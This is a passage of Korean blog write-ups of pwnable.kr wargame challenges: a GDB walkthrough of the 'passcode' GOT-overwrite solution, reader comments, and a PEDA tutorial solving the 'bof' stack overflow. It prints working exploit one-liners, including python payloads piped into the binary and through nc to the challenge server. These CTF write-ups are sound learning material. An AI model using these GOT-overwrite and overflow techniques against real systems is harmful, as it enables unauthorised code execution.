원래 의도를 예상해서 코드를 수정해보면 이처럼 바꿔볼 수 있겠져?
scanf에서 변수를 저장할 때는 이렇게 해당 변수의 주소값을 인자로 넣어줘야돼여 아마 문제에서 언급했던 워닝은 여기서 났겠네여
게다가 패스워드를 입력받아 저장 하려고했던 passcode1과 passcode2는 초기화 과정을 거치고 있지 않기 때문에 garbage값이 들어 있을꺼에여
결과적으론 이 가비지 값을 주소로 읽어서 거기다가 입력값을 쓰게 될 꺼에여


3. 디버깅


3-1) main()


2-1) 에서 살펴봤듯이 별내용은 없어 보이네여 printf를 실행하기 위한 put을 각각 호출 하고, welcome과 login을 순차적으로 호출하네여?


움..참고로 이번에 알게된 건데 문제서버에서 peda를 사용하고 싶으면 gdb를 실행한 후 source /usr/share/peda/peda.py를 쳐주면 peda가 실행되여ㅠ 넘나 편한 것..


3-2) welcome()

여기서부턴 자세히 봐야 할 부분이 있어여

맨처음 함수 인트로에 해당하는 스택프레임 부분이 +0과 +1라인에서 이루어지고 있어여

바로 다음 +3라인에서는 소스에서 살펴봤던 login함수 내 지역변수인 name[100]을 위한 공간확보를 하고 있네여

0x88만큼 스택을 확보했으니까 dummy까지 합쳐서 136바이트를 확보한 것을 알 수 있져?



실행을 해서 확인을 해보도록 하져



welcome+9에 브레이크 포인트를 건 멈춘 모습이에여

ebp는 0xffb771e8, esp는 0xffb77160으로 (0xffb771e8 - 0xffb77160)0x88만큼 스택 공간이 확보되어있는 것을 확인해 볼 수 있어여

여기까지의 스택 상황을 한번 그려본다면 아래처럼 되겠져?


welcome+48에서 scanf을 호출해서 입력을 받고 welcome+68에서 print를 해주는 부분을 분석해서 정확한 더미부분과 name변수의 공간을

확인해 봅시당!

welcome+68에서 브레이크를 걸고 진행을 해보면,

0xffde9198에 입력한 값(저는 JSBach를 입력했어여)이 위치하고 있는 것을 알 수 있어여, 이 정보를 가지고 스택을 다시 그려보져


확보 된 0x88(136)사이즈가 이처럼 사용되고 있다는 것 까지 알아냈습니다. welcome에서 볼 수 있는 사항은 여기 까지구 login을 보면서

이 내용을 어떻게 써먹을 지! 확인을 해보면 되겠습니당



3-3) login()

login함수도 역시 스택프레임을 구성하는 것으로 시작하고있어여 그리고 passcode1과 passcode2를 위한 공간을 확보하고있져?

0x28만큼 확보하고 있네여 login+6에 브레이크를 잡고 자세히 한번 살펴봅시당



ebp가 0xffde9208이고, esp가 0xffde91e0기때문에 0x28(40바이트)만큼 공간이 확보된 것을 알 수 있습니다.

위와 같이 스택을 똑같이 그려보면?

요렇게 그려 볼 수 있겠져? 근데 잘보면 ebp가 welcome함수랑 똑같아여

welcome함수 콜 후에 바로 login함수를 콜 했기 때문에, 당연한 것일 수 있지만 이게 실마리입니다.


우선 0x28공간이 어떻게 구분되어지는지 확인을 해봐야겠져!

passcode1을 입력을 받는 login+34부분에 브레이크 포인트를 걸고 한번 봅시당


scanf에서 사용하는 첫 번째 인자인 %d가 스택 최상단에 있고, 바로 아래 passcode1가 있겠네여?

이 passcod1의 값을 어떻게 가져왔는지 scanf 호출 전(login+24, +27)을 보면 알 수 있어여


mov edx, DWORD PTR[ebp-0x10]            // edx에 ebp-0x10의 주소에 있는 값을 대입

mov DWORD PTR [esp+0x4], edx            // esp+0x4의 주소에 edx값을 대입


즉, ebp-0x10 -> 0xffde9208 - 0x10 = 0xffde91f8에 있는 값을 가져다가 쓴다는 게 되는거져

아까 welcome에서 봤던 스택 모습을 한번 더 볼까여?


ebp는 welcome과 login이 동일하게 0xffde9208을 쓰고있습니다.

그래서 ebp-0x10 의 위치라면! ebp로부터 16바이트가 떨어진 곳의 값이 되겠네여, 그럼...

name입력에서 끝 4바이트가 된다는 것을 알 수 있습니다.


요기까지 상황을 정리해보겠습니당!


1. scanf에는 메모리에 쓰고싶은 곳의 포인터를 넘겨준다.

2. 그런데 개발자가 실수로 & 기호를 빼먹어서 변수에 있는 값을 포인터로 사용하게되었다.

3. 그 변수에 있는 값은 앞의 함수에서 입력한 값의 영향을 받는다.


이름을 입력할 때 마지막 네 바이트에 입력하고 싶은 메모리 번지를 넣고 그 다음 scanf에서 값을 쓰면

원하는 메모리번지에 값을 넣을 수 있다! 라는 결론 까지 올 수 있습니다.


한번 확인한 사항이 맞는지 테스트 값을 넣어서 확인을 해보겠습니다.


입력값은 A가 96개 B 4개를 넣었습니다. 우리가 확인 한 대로라면 scanf의 두 번째인자에는 0x42424242가 들어가 있어야되여...



확인한 대로 잘들어가있네여 ㅠㅠ 


그런데 이걸 가지고 어떻게 익스플로잇 할 수 있을까여??

소스 상에서는 passcode1과 passcode2의 값이 모두 일치해야 조건을 만족하고 플래그를 읽어주는데...

결과부터 말씀드리면 passcod1을 입력받은 후 fflush함수를 호출 할 때 GOT의 주소를 바꿔줌으로써 플래그를 읽어볼 수 있습니다.


PLT / GOT가 무엇인지 자세히 알고 싶으신 분은 아래 링크를 참조 하세여!


PLT와 GOT 자세히 알기1

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


PLT와 GOT 자세히 알기2

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


[참조] https://bpsecblog.wordpress.com/


문제 풀이에 필요한 정도로만 간략히 설명을 드리자면

동적 라이브러리를 사용할 때 프로그램 내에 임포트한 라이브러리의 함수가 없기 때문에 (여기서는 fflush함수가 되겠습니다.)

해당 함수의 주소를 얻어 올 수 있는 테이블들입니다.


라이브러리 함수를 호출하게 되면 먼저 plt로 간 후, got로 점프를 뛰고 got에서 라이브러리의 함수 주소를 얻어오는 구조가 되겠습니다.


우리는 이 부분에서 fflush함수 호출 할 때, plt에서 got로 점프를 뛰는 부분의 주소를 login+127의 주소(system("/bin/cat flag"))로 바꾸어

익스플로잇을 시도해볼 수 있습니다.


그럼 수정해야 될 주소를 확인해 봅시당!

0x08048593 <+47>: call   0x8048430 <fflush@plt>


여기가 최초 plt테이블로 뛰는 부분이에여, 저 안에 가면 got로 점프 뛰는부분이 있을거에여


첫 줄에 바로 점프뛰는 부분을 보면 0x804a004로 점프를 뛰고 그 주소를 보니깐! got로 뛰어가고있는 모습을 볼 수 있네욥

여기서 우리가 바꿀 주소가! 바로 0x804a004에요, 여기다가 login+127의 주소인 0x080485e3을 넣어 줄꺼랍니다.



4. 페이로드 작성

작성해야될 페이로드를 프로토 타입으로 한번 보면 요렇게 될꺼에여

NOP 96개 + got로 뛰는 주소 + login+127의 주소


결과부터 보면 


(python -c 'print "\x90"*96+"\x04\xa0\x04\x08"+"134514147"') | ./passcode 이렇게 되겠습니다.


이제 찬찬히 또 뜯어봅시당


프로그램에 입력을 넣어 주는 부분은 파이썬을 사용했어여

NOP에 해당하는 \x90이 96개 들어갔습니당, 그리고 리틀엔디언 방식으로 주소를 때려박아야하니깐 한바이트씩 역순으로!

0x804a004 -> \x04\xa0\x04\x08이 되는거고여


그리고 scanf에서 포맷이 %d 즉, 정수형으로 받고있기 때문에~

0x080485e3을 십진수로 변환해준 134514147을 넣어줬어여


근데 뭐 이상한거 없으신가여? 제가 초보자여서 그런지 여기서 헤맸어여 ㅠㅠ

name[100]에 100바이트가 넘는 문자열을 입력하면 오버플로우가 안나나? 하는 생각을 했더랬져


제가 혹시 위에서 얘기했던 %100s 기억나시나요? 저렇게 사이즈를 정해줌으로써 딱 100바이트만 입력받고 100바이트이상 넘치는 문자열은

다음 인풋으로 넘어가더라고여..ㅎ;;;


그래서 정리해보면~


처음 이름을 입력하는 곳에 NOP + 0x804a004까지 들어가고 그 다음 passcode1을 입력하려고했던 로직에

0x080485e3이 입력이 되서 플래그를 읽을 수 있었습니다~







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  1. 5ddish 2019.02.11 20:26

    안녕하세요 문제푸는 도중에 질문사항이 생겨 질문드립니다.

    본문 내용을 보면.

    '이름을 입력할 때 마지막 네 바이트에 입력하고 싶은 메모리 번지를 넣고 그 다음 scanf에서 값을 쓰면 원하는 메모리번지에 값을 넣을 수 있다! 라는 결론 까지 올 수 있습니다. '.

    라는 글이 있고 아래 사진에 실제로 peda 에서 BBBB 를 주소값으로 참조하는걸 확인하였습니다.

    그러면 해당 BBBB 영역에 바로 login+127 의 주소를 넣으면 안되는지 궁금합니다... ( 왜 꼭 PLT, GOT 를 이용해야하는지 .. ?) 실제로 해봐도 안되더라구용 ..

    그리고 왜 바로 system 함수 호출하는 login+134 부분을 넣지 않고 login+127 부분을 넣는지도 궁금합니다 ..

    감사합니다

    • JSBach Bach 2019.02.19 14:04 신고

      답변이 늦어서 죄송합니다;
      우선 GOT를 이용하는 이유는 그 주소 값을 바로 사용하는게 아니고 해당 주소에 존재하는 주소값을 가지고 참조하기 때문입니다. 예시로 BBBB를 이야기하면, BBBB 즉 0x62626262의 값을 사용하는게 아니고 주소 0x62626262에 저장되어있는 값을 이용하기때문입니다.

      두번째로 login+134를 사용하지 않는 이유는 시스템함수를 호출하기전 "/bin/sh" 문자열이 인자로 전달되어야하기때문에 그렇습니다.
      login+127에 있는 명령에서 인자 전달을 하기위해 esp에 "/bin/sh"의 포인터를 전달하고있어서 해당 부분을 사용했습니다.

  2. 5ddish 2019.02.20 17:00

    아하 ! 이해 하였습니다 !!! 답변 정말정말 감사드립니다

  3. sain 2019.09.16 19:06

    저 이거 주소가 계속 바뀌는데 뭐가 문제일까요?

    그리고 ebp-10의 위치가 name의 끝 4바이트 라고 했는데 왜 login함수의 스택은 안
    쓰신건지 궁금합니다.

1. PEDA ?

Python Exploit Development Assistance for GDB 의 약자로써, 일반 GDB보다 바이너리 Exploit을 편리하게 할 수 있도록 다양한 옵션과 기능이 추가되어 만들어진 툴입니다. CTF대회같은 경우 시간절약이 중요하기 때문에 많이들 사용하시는 거 같습니다. 

저도 사용해보니 일단 알록달록해지는 UI와 디버깅 진행 할때마다 눈에 잘들어오는 stack 및 레지스트리 값 변화 등 보통의 gdb에 비해

아주아주 편리했습니다.


PEDA를 설치해본 결과 설치방법은 아래 링크가 가장 잘 설명이 되어있는 것 같습니다. 

설치 관련 블로그 링크 : https://hexa-unist.github.io/2015/02/25/PEDA-Introduction-Installation/



2. PEDA 기본 기능

모든 기능과 옵션을 본 글에서 다루기에는 어려움이 있어서... 상세한 내용은 2012년 BlackHat 발표자료를 첨부하였으니 살펴보시면 됩니다.


BH_US_12_Le_Linux_Interactive_Exploit_Development_with_GDB_and_P


2-1) pdisas

gdb에서 disas 혹은 disassemble 로 사용했던 디스어셈블 기능의 확장판이라고 보시면 됩니다.

pdisas로 디스어셈블을 하게 되면 알록달록하게 하이라이팅 되어 비교적 가독성이 뛰어난 어셈블코드를 볼 수 있습니다.


아래 캡쳐를 보시면 확연히 비교가 됩니다.


disas func로 디스어셈블



pdisas func로 디스어셈블


2-2) stack 및 레지스트리 값 변화 확인

위 기능은 특별한 옵션을 주거나 명령을 통해 확인하는 것이 아니라, 브레이크 포인트를 걸고 디버깅을 하는 과정에서 바로 기능이 적용됩니다.



브레이크포인트를 걸고 실행을 하여 해당 위치에서 멈춘 화면입니다.

맨 위에는 각 레지스트리의 값과 해당 메모리에 어떤 값이 위치하고 있는지 해석도 나오고 있으며, 바로 아래에는 현재 브레이크 포인트가 어디에 멈추어져있는지(EIP 값이 얼마인지)를 나타내는 부분이 있고, 맨 아래에는 stack의 값 또한 바로 보여주고 있습니다.


2-3) find 명령어

find 명령어를 사용하여 특정 스트링을 검색 할 수 있습니다.

현재 프로그램에서 입력하는 곳에 "aaa"문자열을 입력한 상태였고, find명려어로 aaa를 서치한 결과입니다.



aaa라는 문자열이 heap과 stack에서 어디에 위치하고 있는지 표시해주고 있습니다.


2-4) 쉘코드 생성하기

BOF공격을 하기 위해 쉘코드를 찾으려고 여러 블로그를 뒤져보곤했는데, PEDA에선 각종 쉘코드를 제너레이트 해주는 기능이 있었습니다.

먼저 shellcode generate라고 입력하면 생성할 수 있는 shellcode의 종류를 보여줍니다.

위 캡쳐 화면에서 볼 수 있듯이 현재로써는 x86 쉘코드 밖에 지원이 되지 않는 것 같습니다.


직접 제너레이트 한 결과는 아래와 같습니다.



따로 쉘코드를 작성하거나, 블로그를 뒤져 찾아보지 않아도 되니 급할 때는 유용하게 사용 할 수 있을 것 같네요.



3) PEDA를 이용한 pwnable.kr bof문제 풀어보기


3-1) 문제 확인




문제 화면입니다.


Nana told me that buffer overflow is one of the most common software vulnerability. 

Is that true?


나나가 나에게 버퍼오버플로우가 가장 일반적인 소프트웨어 취약점이라고 말했는데 이거 실화냐? 라고 묻고있네요.

그리고 Download 링크가 두개가 있습니다. 하나는 c소스 파일이고 다른 하나는 c소스파일을 컴파일하여 생성된 바이너리인 것 같습니다.

wget으로 다 다운받아줍니다.


그리고 pwnable.kr 9000으로 돌리라고 하네요.


3-2) c소스파일 분석




메인함수에는 별 로직이 없네요.

func라는 함수에 헥사 값 0xdeadbeef라는 값을 전달하고 종료하고 있습니다.

bof를 유도 하는 로직은 func에 있는 듯 합니다.


func함수를 살펴보면 리턴 값은 없고, int형의 key라는 파라미터를 받고 있습니다. 

이 key값에는 메인함수에서 하드코드로 박혀있는 0xdeadbeef값이 전달이 되겠네요.


func함수의 바로 첫 라인에서는 overflowme라고 대놓고 선언되어있는 지역변수 char배열 32byte짜리 변수가 보입니다.

그리곤 overflow me : 라는 문자열을 출력하고 입력받은 값을 overflowme에 넣어주고 있습니다.

단순 gets함수로 받고 있기 때문에, 또 앞부분에서 size검사 부분이 없기 때문에 bof를 시킬 수 있는 포인트가 되며 

주석으로도 smash me! 라고 외치고 있는 것을 볼 수 있습니다.


아래 부분에서는 key 값이 0xcafebabe를 가지고 있는지 검사한 후 값이 일치하면 쉘을 넘겨 주고 있습니다.

위의 소스코드를 분석한 내용을 토대로 보면, func함수가 호출 되었을 때 stack의 모습을 예상해 볼 수 있습니다.





3-3) PEDA를 이용한 분석




main함수를 디스어셈블한 화면입니다. 함수 콜 직전에 0x0000063라인을 보면 mov로 esp에 함수 인자값을 대입하고 있는데,

간단히 push를 실행한 것과 동일하다고 보시면 되겠습니다.

그럼 func함수 호출부분에 브레이크 포인터를 걸고 실행하여 위의 내용이 맞는지 호출 전 스택의 상황을 살펴보도록 하겠습니다.



우리가 예상 한 것처럼 스택의 최상단에 func함수의 인자로 넣어준 0xdeadbeef가 위치하는 것을 확인할 수 있습니다.





si 명령을 통해 func함수 호출 직 후의 화면입니다. 함수 call을 하면서 다음 실행 명령 주소를 stack에 push한 것을 볼 수 있습니다.




func함수를 디스어셈블 한 화면입니다. 스택프레임 구성을 위해 ebp를 푸쉬하고있고, 지역변수인 overflowme[32]를 스택에 올리기위해 esp를 0x48 만큼 빼주고 있습니다. 정확히 32byte가 아니고, 0x48만큼인 이유는 컴파일러마다 약간의 사이즈 차이가 있기 때문이라고 하네요.


여기까지 분석한 스택의 상황을 그림으로 살펴보면 아래 처럼 되겠습니다.


더미가 overflowme[32]변수의 위에 위치할 지, 아래에 위치할 지 혹은 위 아래 나뉘어서 위치하고 있을 지는 직접 메모리를 들여다 보지 않아서 모르나, 둘이 합쳐 72byte(0x48)임은 어셈코드에서 알 수 있었고, 이에 따라 러프하게 개념적으로 위처럼 그려볼 수 있습니다. 

따라서 덮어써야할 내용은 

최소 44바이트(32byte + 4byte + 4byte + 0xcafebabe(4byte)) 부터 84byte(72byte + 4byte + 4byte + oxcafebabe(4byte))가 됩니다.

정확히 몇 바이트인지는 더 분석을 해봐야하겠네요.


입력값은 aaaaaaaa을 넣은 후 func+40에서 브레이크 포인트를 잡은 후 확인을 해보도록 하겠습니다.



esp(0xffffd1d0)에는 우리가 입력한 aaaaaaaa를 저장하고 있는 스택 내 overflowme[32]변수의 주소(0xffffd1ec)를 가르키고 있는 것을 볼 수 있습니다.



2-3) 에서 알아봤던 find명령어를 이용하여 aaaaaaaa가 위치한 스택 내 주소를 찾고, 0xdeadbeef가 위치한 스택 내 주소를 찾았습니다.

0xdeadbeef가 헥사값이라서 검색이 안될줄 알았는데 검색이 되어서 놀랐네요;

여하튼! 나온 주소 값의 차이는 0xffffd220 - 0xffffd1ec = 0x34(52) 임을 확인했습니다. 이 결과를 가지고 스택을 다시 그려보면

overflowme변수 위 아래에 더미가 껴있는 아래와 같은 형태로 그릴 수 있겠습니다.



3-4) exploit

결과부터 말씀드리면 exploit에 성공한 코드는 아래와 같습니다.


(python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000



먼저, python -c 'print "A"*52+"\xbe\xba\xfe\xca" 이 부분은 우리가 위에서 계산한 52바이트를 A라는 문자로 덮어버린 후

조작해야 할 헥사값 0xcafebabe로 만드는 문자열을 만드는 파이썬 구문입니다.

\xbe\xba\xfe\xca 처럼 역 순으로 문자열을 만든 이유는 엔디언 방식이 다르기 때문이고, 괄호와 세미콜론 + cat의 의미는

바이너리 실행 후 입력 값을 받는 형태를 맞춰주기 위함 입니다.

마지막으로 파이프로 연결한 후 문제에서 제시한 서버와 포트에 nc를 이용하여 전달하였습니다.



3-5) 결과



쉘이 실행 되었고 플래그값을 읽을 수 있음을 확인하였습니다 :)

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